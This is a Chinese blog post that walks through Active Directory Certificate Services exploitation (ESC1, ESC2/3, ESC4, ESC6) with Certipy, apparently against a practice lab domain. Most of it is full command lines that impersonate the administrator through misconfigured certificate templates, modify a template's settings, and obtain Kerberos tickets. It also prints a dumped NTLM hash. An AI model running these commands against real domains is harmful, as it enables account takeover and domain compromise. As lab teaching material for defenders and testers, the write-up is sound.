ADCS - exploitation

admin 2023年6月28日11:10:46评论8 views字数 2599阅读8分39秒阅读模式

ADCS - exploitation

续上上次ESC8的内容,补全ADCS exploitation

ADCS - ESC1

枚举

sudo certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12

ADCS - exploitation

image-20230530202120087

Find Misconfigured Certificate Templates (ESC1)

ADCS - exploitation

image-20230531165812263

查询证书target: ca servertempalte : the vulnerable templateupn : the target user we want to impersonate

首先通过 Certipy 在 khal.drogo 用户的上下文中指定证书模板,为该用户申请证书,生成的证书将保存在 .pfx 格式的文件中

sudo certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn [email protected]

#
使用颁发的证书对 KDC 进行 PKINIT Kerberos 身份验证,并获取该用户的 TGT 票据,使用得到的private key认证
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

ADCS - exploitation

image-20230531221903097
'[email protected]': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da

ADCS - ESC2 & ESC3

“ESC2 是证书模板证书可用于任何目的,与 ESC3 相同的技术。”

使用 ESC2 来区分这两种攻击

查询cert

sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA

使用刚得到的Certificate Request Agent certificate继续查询

sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essosadministrator' -pfx khal.drogo.pfx

认证

sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

ADCS - exploitation

image-20230601131659214

用ESC3-CRA和ESC3

sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA

sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essosadministrator' -pfx khal.drogo.pfx

sudo certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12

ADCS - exploitation

image-20230601134118858

ADCS - ESC4

ADCS - exploitation

image-20230531153344174

获取 ESC4 模板并使用我们获得的 genericWrite 权限更改为 ESC1 。

sudo certipy template -u [email protected] -p 'horse' -template ESC4 -save-old -debug

基于修改的ESC4模板上利用ESC1

sudo certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn [email protected]

ADCS - exploitation

image-20230601153244470

使用pfx认证

sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

回滚模板设置

sudo certipy template -u [email protected] -p 'horse' -template ESC4 -configuration ESC4.json

ADCS - exploitation

image-20230601153331317

ADCS - ESC6

ESC6 是 CA 指定 EDITF_ATTRIBUTESUBJECTALTNAME2 标志时。尽管有证书模板的配置,此标志允许登记者在所有证书上指定任意 SAN。

因为 ESSOS-CA 可以用 ESC6 的攻击,即使用户模板将 Enrollee Supplies Subject 设置为 false,也能进行 ESC1 攻击。

sudo certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn [email protected]

sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

ADCS - exploitation

image-20230601153432559

 

原文始发于微信公众号(wulala520):ADCS - exploitation

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月28日11:10:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ADCS - exploitationhttps://cn-sec.com/archives/1841679.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息